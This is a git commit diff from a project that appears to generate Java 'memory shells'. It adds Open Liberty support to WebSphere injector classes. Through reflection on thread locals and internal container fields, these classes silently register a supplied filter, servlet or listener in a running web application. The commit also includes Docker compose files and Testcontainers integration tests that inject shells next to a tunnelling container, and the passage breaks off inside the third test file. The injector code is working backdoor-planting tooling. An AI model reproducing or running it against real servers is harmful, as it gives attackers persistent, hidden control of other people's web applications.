mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support open-liberty javaee
This commit is contained in:
+60
-41
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.injector.websphere;
|
||||
|
||||
import javax.servlet.Filter;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
@@ -14,9 +13,6 @@ import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* tested v7、v8
|
||||
* update 2023/07/08
|
||||
*
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebSphereFilterInjector {
|
||||
@@ -46,7 +42,7 @@ public class WebSphereFilterInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null) {
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -87,11 +83,32 @@ public class WebSphereFilterInjector {
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
Object[] threadLocals = null;
|
||||
boolean raw = false;
|
||||
try {
|
||||
// WebSphere Liberty
|
||||
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
if (threadLocals == null) {
|
||||
// Open Liberty
|
||||
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||
raw = true;
|
||||
}
|
||||
for (Object threadLocal : threadLocals) {
|
||||
if (threadLocal == null) {
|
||||
continue;
|
||||
}
|
||||
Object value = threadLocal;
|
||||
if (raw) {
|
||||
value = getFieldValue(threadLocal, "value");
|
||||
}
|
||||
if (value == null) {
|
||||
continue;
|
||||
}
|
||||
// for websphere 7.x
|
||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||
if (value.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFieldValue(stack, "config");
|
||||
@@ -99,8 +116,9 @@ public class WebSphereFilterInjector {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
@@ -132,43 +150,31 @@ public class WebSphereFilterInjector {
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object webAppConfiguration = getFieldValue(context, "config");
|
||||
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
Object webAppConfig = getFieldValue(context, "config");
|
||||
if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||
|
||||
Object filterManager = getFieldValue(context, "filterManager");
|
||||
try {
|
||||
// v8
|
||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
||||
setFieldValue(context, "initialized", false);
|
||||
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
|
||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||
setFieldValue(context, "initialized", true);
|
||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
setFieldValue(filterConfig, "name", getClassName());
|
||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
|
||||
|
||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||
|
||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
|
||||
} catch (Exception e) {
|
||||
// v7
|
||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
||||
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
|
||||
setFieldValue(filterConfig, "name", getClassName());
|
||||
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
}
|
||||
// 清除缓存
|
||||
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
|
||||
Object chainCache = getFieldValue(filterManager, "chainCache");
|
||||
try {
|
||||
invokeMethod(chainCache, "clear", null, null);
|
||||
} catch (Exception e) {
|
||||
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -176,6 +182,19 @@ public class WebSphereFilterInjector {
|
||||
return msg;
|
||||
}
|
||||
|
||||
// bypass osgi
|
||||
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
|
||||
if (context.equals(Object.class)) {
|
||||
throw new ClassNotFoundException(className);
|
||||
}
|
||||
ClassLoader loader = context.getClassLoader();
|
||||
try {
|
||||
return loader.loadClass(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
return loadClass(context.getSuperclass(), className);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||
Exception {
|
||||
|
||||
+29
-7
@@ -38,7 +38,7 @@ public class WebSphereListenerInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null) {
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -75,11 +75,32 @@ public class WebSphereListenerInjector {
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
Object[] threadLocals = null;
|
||||
boolean raw = false;
|
||||
try {
|
||||
// WebSphere Liberty
|
||||
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
if (threadLocals == null) {
|
||||
// Open Liberty
|
||||
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||
raw = true;
|
||||
}
|
||||
for (Object threadLocal : threadLocals) {
|
||||
if (threadLocal == null) {
|
||||
continue;
|
||||
}
|
||||
Object value = threadLocal;
|
||||
if (raw) {
|
||||
value = getFieldValue(threadLocal, "value");
|
||||
}
|
||||
if (value == null) {
|
||||
continue;
|
||||
}
|
||||
// for websphere 7.x
|
||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||
if (value.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFieldValue(stack, "config");
|
||||
@@ -87,8 +108,9 @@ public class WebSphereListenerInjector {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
|
||||
+32
-8
@@ -6,7 +6,9 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.HashSet;
|
||||
import java.util.Properties;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null) {
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
Object[] threadLocals = null;
|
||||
boolean raw = false;
|
||||
try {
|
||||
// WebSphere Liberty
|
||||
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
if (threadLocals == null) {
|
||||
// Open Liberty
|
||||
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||
raw = true;
|
||||
}
|
||||
for (Object threadLocal : threadLocals) {
|
||||
if (threadLocal == null) {
|
||||
continue;
|
||||
}
|
||||
Object value = threadLocal;
|
||||
if (raw) {
|
||||
value = getFieldValue(threadLocal, "value");
|
||||
}
|
||||
if (value == null) {
|
||||
continue;
|
||||
}
|
||||
// for websphere 7.x
|
||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||
if (value.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFieldValue(stack, "config");
|
||||
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
|
||||
@@ -50,7 +50,8 @@ public class ServerProbe {
|
||||
if (System.getProperty("weblogic.home") != null) {
|
||||
return ret = "WebLogic";
|
||||
}
|
||||
if (System.getProperty("was.install.root") != null) {
|
||||
if (System.getProperty("was.install.root") != null
|
||||
|| System.getProperty("wlp.install.dir") != null) {
|
||||
return ret = "WebSphere";
|
||||
}
|
||||
if (System.getProperty("resin.home") != null) {
|
||||
|
||||
+24
-6
@@ -22,17 +22,35 @@ public class WebSphereWriter {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
if (wsThreadLocal == null) {
|
||||
Object[] threadLocals = null;
|
||||
boolean raw = false;
|
||||
try {
|
||||
// WebSphere Liberty
|
||||
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
if (threadLocals == null) {
|
||||
// Open Liberty
|
||||
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||
raw = true;
|
||||
}
|
||||
for (Object threadLocal : threadLocals) {
|
||||
if (threadLocal == null) {
|
||||
continue;
|
||||
}
|
||||
Object value = threadLocal;
|
||||
if (raw) {
|
||||
value = getFieldValue(threadLocal, "value");
|
||||
}
|
||||
if (value == null) {
|
||||
continue;
|
||||
}
|
||||
// com.ibm.wsspi.webcontainer.WebContainerRequestState
|
||||
if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
// com.ibm.ws.webcontainer.srt.SRTServletRequest
|
||||
Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
|
||||
Object request = getFieldValue(value, "currentThreadsIExtendedRequest");
|
||||
// com.ibm.ws.webcontainer.srt.SRTServletResponse
|
||||
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
|
||||
Object response = getFieldValue(value, "currentThreadsIExtendedResponse");
|
||||
String data = getDataFromReq(request);
|
||||
if (data != null && !data.isEmpty()) {
|
||||
String result = "";
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
services:
|
||||
open-liberty-18:
|
||||
image: open-liberty:18.0.0.4-webProfile8
|
||||
platform: linux/amd64
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
|
||||
@@ -0,0 +1,11 @@
|
||||
services:
|
||||
open-liberty-20:
|
||||
image: open-liberty:20.0.0.12-full-java8-openj9
|
||||
platform: linux/amd64
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
|
||||
@@ -0,0 +1,11 @@
|
||||
services:
|
||||
open-liberty-22:
|
||||
image: open-liberty:22.0.0.12-full-java11-openj9
|
||||
platform: linux/amd64
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp-jakarta.war:/config/dropins/app.war
|
||||
@@ -0,0 +1,11 @@
|
||||
services:
|
||||
open-liberty-25:
|
||||
image: open-liberty:25.0.0.12-full-java17-openj9
|
||||
platform: linux/amd64
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
|
||||
@@ -1,2 +1,2 @@
|
||||
#!/bin/bash
|
||||
pgrep -f WSLauncher | tr -d '\n'
|
||||
pgrep -f 'WSLauncher|ws-server.jar' | tr -d '\n'
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class OpenLiberty18ContainerTest {
|
||||
public static final String imageName = "open-liberty:18.0.0.4-webProfile8";
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(9080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class OpenLiberty20ContainerTest {
|
||||
public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9";
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(9080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class OpenLiberty22ContainerTest {
|
||||
public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9";
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
